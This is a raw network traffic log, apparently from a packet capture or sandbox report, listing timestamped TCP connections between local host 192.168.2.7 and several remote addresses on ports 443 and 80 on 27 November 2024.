Nov 27, 2024 16:34:57.085050106 CET	49882	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:57.085084915 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:57.085113049 CET	49882	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:57.085131884 CET	49882	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:57.097112894 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:57.097206116 CET	49882	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:57.122359037 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:57.122389078 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:57.122493029 CET	49882	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:57.122543097 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:57.122615099 CET	49882	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:57.136749983 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:57.166096926 CET	443	49887	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.172282934 CET	49887	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.172353029 CET	443	49887	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.172875881 CET	49887	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.172889948 CET	443	49887	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.225544930 CET	443	49885	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.225629091 CET	443	49885	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.225689888 CET	49885	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.225909948 CET	49885	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.225931883 CET	443	49885	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.225944042 CET	49885	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.225950003 CET	443	49885	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.230104923 CET	49893	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.230145931 CET	443	49893	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.230276108 CET	49893	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.230451107 CET	49893	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.230463028 CET	443	49893	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.261363029 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:57.261394024 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:57.261451960 CET	49882	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:57.261470079 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:57.261502981 CET	49882	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:57.261518955 CET	49882	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:57.268954039 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:57.269083023 CET	49882	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:57.269351959 CET	49882	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:57.269402981 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:57.269578934 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:57.269629955 CET	49882	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:57.269649029 CET	49882	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:57.289011002 CET	443	49878	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.289083958 CET	443	49878	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.289154053 CET	49878	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.290340900 CET	443	49888	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.329992056 CET	49888	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.360675097 CET	49878	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.360718966 CET	443	49878	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.360738993 CET	49878	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.360749006 CET	443	49878	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.399508953 CET	49888	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.399527073 CET	443	49888	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.400154114 CET	49888	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.400158882 CET	443	49888	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.445256948 CET	49894	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.445311069 CET	443	49894	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.445524931 CET	49894	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.446024895 CET	49894	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.446036100 CET	443	49894	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.471476078 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:57.471503019 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:57.471580982 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:57.471580982 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:57.471847057 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:57.471888065 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:57.485605955 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:57.517170906 CET	443	49886	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.517246008 CET	443	49886	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.517405987 CET	49886	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.517807007 CET	49886	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.517838001 CET	443	49886	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.517883062 CET	49886	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.517890930 CET	443	49886	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.521460056 CET	49895	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.521502972 CET	443	49895	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.521575928 CET	49895	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.521740913 CET	49895	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.521754980 CET	443	49895	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.606024981 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:57.620193005 CET	443	49887	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.620271921 CET	443	49887	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.620356083 CET	49887	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.620774984 CET	49887	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.620800972 CET	443	49887	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.620815039 CET	49887	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.620822906 CET	443	49887	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.621314049 CET	49896	443	192.168.2.7	204.79.197.219
Nov 27, 2024 16:34:57.621351957 CET	443	49896	204.79.197.219	192.168.2.7
Nov 27, 2024 16:34:57.621460915 CET	49896	443	192.168.2.7	204.79.197.219
Nov 27, 2024 16:34:57.621720076 CET	49896	443	192.168.2.7	204.79.197.219
Nov 27, 2024 16:34:57.621728897 CET	443	49896	204.79.197.219	192.168.2.7
Nov 27, 2024 16:34:57.623642921 CET	49897	443	192.168.2.7	23.44.203.70
Nov 27, 2024 16:34:57.623677969 CET	443	49897	23.44.203.70	192.168.2.7
Nov 27, 2024 16:34:57.623760939 CET	49897	443	192.168.2.7	23.44.203.70
Nov 27, 2024 16:34:57.623963118 CET	49897	443	192.168.2.7	23.44.203.70
Nov 27, 2024 16:34:57.623980999 CET	443	49897	23.44.203.70	192.168.2.7
Nov 27, 2024 16:34:57.624572039 CET	49898	443	192.168.2.7	23.44.203.70
Nov 27, 2024 16:34:57.624588966 CET	443	49898	23.44.203.70	192.168.2.7
Nov 27, 2024 16:34:57.624656916 CET	49898	443	192.168.2.7	23.44.203.70
Nov 27, 2024 16:34:57.624974966 CET	49898	443	192.168.2.7	23.44.203.70
Nov 27, 2024 16:34:57.624988079 CET	443	49898	23.44.203.70	192.168.2.7
Nov 27, 2024 16:34:57.625382900 CET	49899	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.625426054 CET	443	49899	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.625493050 CET	49899	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.625602007 CET	49900	443	192.168.2.7	204.79.197.219
Nov 27, 2024 16:34:57.625643015 CET	443	49900	204.79.197.219	192.168.2.7
Nov 27, 2024 16:34:57.625804901 CET	49900	443	192.168.2.7	204.79.197.219
Nov 27, 2024 16:34:57.625957966 CET	49900	443	192.168.2.7	204.79.197.219
Nov 27, 2024 16:34:57.625969887 CET	443	49900	204.79.197.219	192.168.2.7
Nov 27, 2024 16:34:57.626039982 CET	49899	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.626056910 CET	443	49899	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.729693890 CET	443	49888	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.729774952 CET	443	49888	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.729850054 CET	49888	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.730055094 CET	49888	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.730070114 CET	443	49888	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.730082035 CET	49888	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.730087996 CET	443	49888	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.734074116 CET	49901	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.734133959 CET	443	49901	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.734442949 CET	49901	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.734637022 CET	49901	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.734659910 CET	443	49901	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.788153887 CET	443	49889	108.138.106.4	192.168.2.7
Nov 27, 2024 16:34:57.788515091 CET	49889	443	192.168.2.7	108.138.106.4
Nov 27, 2024 16:34:57.788537025 CET	443	49889	108.138.106.4	192.168.2.7
Nov 27, 2024 16:34:57.788897038 CET	443	49889	108.138.106.4	192.168.2.7
Nov 27, 2024 16:34:57.789254904 CET	49889	443	192.168.2.7	108.138.106.4
Nov 27, 2024 16:34:57.789314032 CET	443	49889	108.138.106.4	192.168.2.7
Nov 27, 2024 16:34:57.789647102 CET	49889	443	192.168.2.7	108.138.106.4
Nov 27, 2024 16:34:57.835338116 CET	443	49889	108.138.106.4	192.168.2.7
Nov 27, 2024 16:34:57.942464113 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:57.942538977 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:57.943383932 CET	49902	443	192.168.2.7	23.44.203.70
Nov 27, 2024 16:34:57.943434000 CET	443	49902	23.44.203.70	192.168.2.7
Nov 27, 2024 16:34:57.944057941 CET	49902	443	192.168.2.7	23.44.203.70
Nov 27, 2024 16:34:57.944303989 CET	49902	443	192.168.2.7	23.44.203.70
Nov 27, 2024 16:34:57.944324017 CET	443	49902	23.44.203.70	192.168.2.7
Nov 27, 2024 16:34:57.959336042 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:58.079777956 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:58.170427084 CET	443	49890	23.101.168.44	192.168.2.7
Nov 27, 2024 16:34:58.171050072 CET	49890	443	192.168.2.7	23.101.168.44
Nov 27, 2024 16:34:58.171077967 CET	443	49890	23.101.168.44	192.168.2.7
Nov 27, 2024 16:34:58.171494007 CET	443	49890	23.101.168.44	192.168.2.7
Nov 27, 2024 16:34:58.172138929 CET	49890	443	192.168.2.7	23.101.168.44
Nov 27, 2024 16:34:58.172221899 CET	443	49890	23.101.168.44	192.168.2.7
Nov 27, 2024 16:34:58.172359943 CET	49890	443	192.168.2.7	23.101.168.44
Nov 27, 2024 16:34:58.219340086 CET	443	49890	23.101.168.44	192.168.2.7
Nov 27, 2024 16:34:58.220951080 CET	49890	443	192.168.2.7	23.101.168.44
Nov 27, 2024 16:34:58.249568939 CET	443	49889	108.138.106.4	192.168.2.7
Nov 27, 2024 16:34:58.249644995 CET	443	49889	108.138.106.4	192.168.2.7
Nov 27, 2024 16:34:58.249738932 CET	49889	443	192.168.2.7	108.138.106.4
Nov 27, 2024 16:34:58.250585079 CET	49889	443	192.168.2.7	108.138.106.4
Nov 27, 2024 16:34:58.250608921 CET	443	49889	108.138.106.4	192.168.2.7
Nov 27, 2024 16:34:58.250622988 CET	49889	443	192.168.2.7	108.138.106.4
Nov 27, 2024 16:34:58.250787020 CET	49889	443	192.168.2.7	108.138.106.4
Nov 27, 2024 16:34:58.727368116 CET	443	49890	23.101.168.44	192.168.2.7
Nov 27, 2024 16:34:58.727395058 CET	443	49890	23.101.168.44	192.168.2.7
Nov 27, 2024 16:34:58.727452993 CET	49890	443	192.168.2.7	23.101.168.44
Nov 27, 2024 16:34:58.727480888 CET	443	49890	23.101.168.44	192.168.2.7
Nov 27, 2024 16:34:58.727494955 CET	443	49890	23.101.168.44	192.168.2.7
Nov 27, 2024 16:34:58.727556944 CET	49890	443	192.168.2.7	23.101.168.44
Nov 27, 2024 16:34:58.728914022 CET	49890	443	192.168.2.7	23.101.168.44
Nov 27, 2024 16:34:58.728933096 CET	443	49890	23.101.168.44	192.168.2.7
Nov 27, 2024 16:34:58.827837944 CET	443	49892	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:58.828547001 CET	49892	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:58.828591108 CET	443	49892	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:58.829397917 CET	49892	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:58.829408884 CET	443	49892	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:58.829474926 CET	49892	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:58.829484940 CET	443	49892	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:58.834608078 CET	443	49897	23.44.203.70	192.168.2.7
Nov 27, 2024 16:34:58.835042953 CET	49897	443	192.168.2.7	23.44.203.70
Nov 27, 2024 16:34:58.835062981 CET	443	49897	23.44.203.70	192.168.2.7
Nov 27, 2024 16:34:58.836205006 CET	443	49897	23.44.203.70	192.168.2.7
Nov 27, 2024 16:34:58.836282969 CET	49897	443	192.168.2.7	23.44.203.70
Nov 27, 2024 16:34:58.837588072 CET	49897	443	192.168.2.7	23.44.203.70
Nov 27, 2024 16:34:58.837712049 CET	443	49897	23.44.203.70	192.168.2.7
Nov 27, 2024 16:34:58.885818005 CET	49897	443	192.168.2.7	23.44.203.70
Nov 27, 2024 16:34:58.885834932 CET	443	49897	23.44.203.70	192.168.2.7
Nov 27, 2024 16:34:58.907022953 CET	443	49898	23.44.203.70	192.168.2.7
Nov 27, 2024 16:34:58.907371044 CET	49898	443	192.168.2.7	23.44.203.70
Nov 27, 2024 16:34:58.907382011 CET	443	49898	23.44.203.70	192.168.2.7
Nov 27, 2024 16:34:58.908425093 CET	443	49898	23.44.203.70	192.168.2.7
Nov 27, 2024 16:34:58.908483028 CET	49898	443	192.168.2.7	23.44.203.70
Nov 27, 2024 16:34:58.908937931 CET	49898	443	192.168.2.7	23.44.203.70
Nov 27, 2024 16:34:58.908996105 CET	443	49898	23.44.203.70	192.168.2.7
Nov 27, 2024 16:34:58.918167114 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:58.918252945 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:58.932851076 CET	49897	443	192.168.2.7	23.44.203.70
Nov 27, 2024 16:34:58.948134899 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:58.963990927 CET	49898	443	192.168.2.7	23.44.203.70
Nov 27, 2024 16:34:58.964003086 CET	443	49898	23.44.203.70	192.168.2.7
Nov 27, 2024 16:34:58.966957092 CET	443	49893	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:58.967607021 CET	49893	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:58.967636108 CET	443	49893	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:58.968168020 CET	49893	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:58.968173027 CET	443	49893	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:58.998572111 CET	49903	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:58.998620987 CET	443	49903	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:58.998892069 CET	49903	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:58.999105930 CET	49903	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:58.999121904 CET	443	49903	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:59.009857893 CET	49898	443	192.168.2.7	23.44.203.70
Nov 27, 2024 16:34:59.053852081 CET	49904	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:59.053898096 CET	443	49904	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:59.053977013 CET	49904	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:59.054294109 CET	49904	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:59.054306984 CET	443	49904	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:59.068375111 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:59.083728075 CET	49905	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:59.083765984 CET	443	49905	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:59.084007025 CET	49906	443	192.168.2.7	20.110.205.119
Nov 27, 2024 16:34:59.084042072 CET	49905	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:59.084058046 CET	443	49906	20.110.205.119	192.168.2.7
Nov 27, 2024 16:34:59.084127903 CET	49906	443	192.168.2.7	20.110.205.119
Nov 27, 2024 16:34:59.084829092 CET	49905	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:59.084847927 CET	443	49905	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:59.085051060 CET	49906	443	192.168.2.7	20.110.205.119
Nov 27, 2024 16:34:59.085063934 CET	443	49906	20.110.205.119	192.168.2.7
Nov 27, 2024 16:34:59.220619917 CET	443	49896	204.79.197.219	192.168.2.7
Nov 27, 2024 16:34:59.228035927 CET	49896	443	192.168.2.7	204.79.197.219
Nov 27, 2024 16:34:59.228049994 CET	443	49896	204.79.197.219	192.168.2.7
Nov 27, 2024 16:34:59.230289936 CET	443	49896	204.79.197.219	192.168.2.7
Nov 27, 2024 16:34:59.230381012 CET	49896	443	192.168.2.7	204.79.197.219
Nov 27, 2024 16:34:59.231654882 CET	49896	443	192.168.2.7	204.79.197.219
Nov 27, 2024 16:34:59.231755972 CET	443	49896	204.79.197.219	192.168.2.7
Nov 27, 2024 16:34:59.263561964 CET	443	49894	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.264219046 CET	49894	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.264255047 CET	443	49894	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.264738083 CET	49894	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.264744997 CET	443	49894	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.273241043 CET	49896	443	192.168.2.7	204.79.197.219
Nov 27, 2024 16:34:59.273257971 CET	443	49896	204.79.197.219	192.168.2.7
Nov 27, 2024 16:34:59.291717052 CET	443	49900	204.79.197.219	192.168.2.7
Nov 27, 2024 16:34:59.292064905 CET	49900	443	192.168.2.7	204.79.197.219
Nov 27, 2024 16:34:59.292074919 CET	443	49900	204.79.197.219	192.168.2.7
Nov 27, 2024 16:34:59.292280912 CET	443	49902	23.44.203.70	192.168.2.7
Nov 27, 2024 16:34:59.292538881 CET	49902	443	192.168.2.7	23.44.203.70
Nov 27, 2024 16:34:59.292546034 CET	443	49902	23.44.203.70	192.168.2.7
Nov 27, 2024 16:34:59.293189049 CET	443	49900	204.79.197.219	192.168.2.7
Nov 27, 2024 16:34:59.293256044 CET	49900	443	192.168.2.7	204.79.197.219
Nov 27, 2024 16:34:59.293586016 CET	49900	443	192.168.2.7	204.79.197.219
Nov 27, 2024 16:34:59.293657064 CET	443	49900	204.79.197.219	192.168.2.7
Nov 27, 2024 16:34:59.293740034 CET	443	49902	23.44.203.70	192.168.2.7
Nov 27, 2024 16:34:59.293798923 CET	49902	443	192.168.2.7	23.44.203.70
Nov 27, 2024 16:34:59.295023918 CET	49902	443	192.168.2.7	23.44.203.70
Nov 27, 2024 16:34:59.295089960 CET	443	49902	23.44.203.70	192.168.2.7
Nov 27, 2024 16:34:59.320095062 CET	49896	443	192.168.2.7	204.79.197.219
Nov 27, 2024 16:34:59.335699081 CET	49900	443	192.168.2.7	204.79.197.219
Nov 27, 2024 16:34:59.335711002 CET	443	49900	204.79.197.219	192.168.2.7
Nov 27, 2024 16:34:59.335747004 CET	49902	443	192.168.2.7	23.44.203.70
Nov 27, 2024 16:34:59.335752010 CET	443	49902	23.44.203.70	192.168.2.7
Nov 27, 2024 16:34:59.370665073 CET	443	49895	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.371275902 CET	49895	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.371315956 CET	443	49895	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.371887922 CET	49895	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.371893883 CET	443	49895	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.382643938 CET	49900	443	192.168.2.7	204.79.197.219
Nov 27, 2024 16:34:59.382678986 CET	49902	443	192.168.2.7	23.44.203.70
Nov 27, 2024 16:34:59.403052092 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:59.403126955 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:59.408092022 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:34:59.411696911 CET	443	49893	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.411724091 CET	443	49893	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.411792040 CET	443	49893	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.411798000 CET	49893	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.411895990 CET	49893	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.412095070 CET	49893	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.412108898 CET	443	49893	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.412127972 CET	49893	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.412132978 CET	443	49893	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.416357994 CET	49908	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.416404009 CET	443	49908	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.416639090 CET	49908	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.416806936 CET	49908	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.416827917 CET	443	49908	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.430195093 CET	443	49899	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.431209087 CET	49899	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.431229115 CET	443	49899	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.431785107 CET	49899	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.431790113 CET	443	49899	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.518452883 CET	443	49892	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:59.518476963 CET	443	49892	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:59.518608093 CET	49892	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:59.518635988 CET	443	49892	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:59.519047022 CET	49892	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:59.519057989 CET	443	49892	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:59.519068003 CET	49892	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:59.519206047 CET	443	49892	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:59.519237995 CET	443	49892	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:59.519454002 CET	49892	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:59.528728962 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:34:59.528944016 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:34:59.529676914 CET	49907	80	192.168.2.7	185.215.113.16
Nov 27, 2024 16:34:59.582370043 CET	49909	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:59.582432032 CET	443	49909	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:59.582515955 CET	49909	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:59.583507061 CET	49909	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:59.583522081 CET	443	49909	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:59.620376110 CET	443	49901	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.647340059 CET	49901	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.647365093 CET	443	49901	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.647994041 CET	49901	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.648003101 CET	443	49901	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.648334980 CET	49910	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:59.648365021 CET	443	49910	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:59.648525000 CET	49910	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:59.648669004 CET	49910	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:59.648677111 CET	443	49910	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:59.650249958 CET	80	49907	185.215.113.16	192.168.2.7
Nov 27, 2024 16:34:59.713440895 CET	443	49894	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.713515043 CET	443	49894	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.713833094 CET	49894	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.727921963 CET	49894	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.727966070 CET	443	49894	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.727983952 CET	49894	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.727993965 CET	443	49894	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.738100052 CET	49911	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.738154888 CET	443	49911	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.738445997 CET	49911	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.741775990 CET	49911	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.741790056 CET	443	49911	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.826173067 CET	443	49895	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.826255083 CET	443	49895	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.826658964 CET	49895	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.828855991 CET	49895	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.828875065 CET	443	49895	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.828996897 CET	49895	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.829001904 CET	443	49895	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.842853069 CET	49912	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.842906952 CET	443	49912	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.843050957 CET	49912	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.843277931 CET	49912	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.843292952 CET	443	49912	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.879827976 CET	443	49899	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.879854918 CET	443	49899	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:59.879985094 CET	49899	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:59.880023956 CET	443	49899	13.107.246.63	192.168.2.7
